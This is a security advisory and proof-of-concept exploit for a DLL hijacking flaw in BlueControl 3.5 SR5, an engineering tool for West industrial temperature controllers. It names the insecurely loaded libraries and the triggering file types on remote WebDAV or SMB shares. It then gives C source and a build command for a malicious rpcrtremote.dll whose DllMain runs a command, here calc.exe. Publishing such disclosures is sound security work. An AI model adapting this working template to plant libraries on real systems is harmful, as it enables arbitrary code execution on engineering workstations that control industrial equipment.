BlueControl 3.5 SR5 Insecure Library Loading Arbitrary Code Execution

/*


BlueControl 3.5 SR5 Insecure Library Loading Arbitrary Code Execution


Vendor: West Control Solutions
        PMA Proze�- und Maschinen-Automation GmbH
Product web page: http://www.west-cs.com
Software link: http://www.west-cs.com/resources/software-temp-control/pma-products-software/
Application Path: C:\Program Files (x86)\PMA Tools\BlueControl\BlueControl.exe
Affected version: 3.5.SR5

Summary: Engineering Tool for West Pro Series of controllers (KS20-1, KS92-1,
TB40-1, KS800, KS816, Dig280-1, KS vario, CI45, KS45, SG45, TB45, RL400, Pro96,
CAL4600).

Desc: BlueControl suffers from a DLL Hijacking issue. The vulnerability is
caused due to the application loading libraries (sortserver2003compat.dll,
sxs.dll, cryptsp.dll, rpcrtremote.dll) in an insecure manner. This can be
exploited to load arbitrary libraries by tricking a user into opening a
related application files (.BCD, .BCL, .BCT, .EDW, .E80) located on a remote
WebDAV or SMB share.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5296
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5296.php


10.12.2015

*/


// gcc -shared -o rpcrtremote.dll exploit.c

#include <windows.h> 

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
	exec();
	return 0;
}

int exec()
{
	WinExec("calc.exe" , SW_NORMAL);
	return 0;
}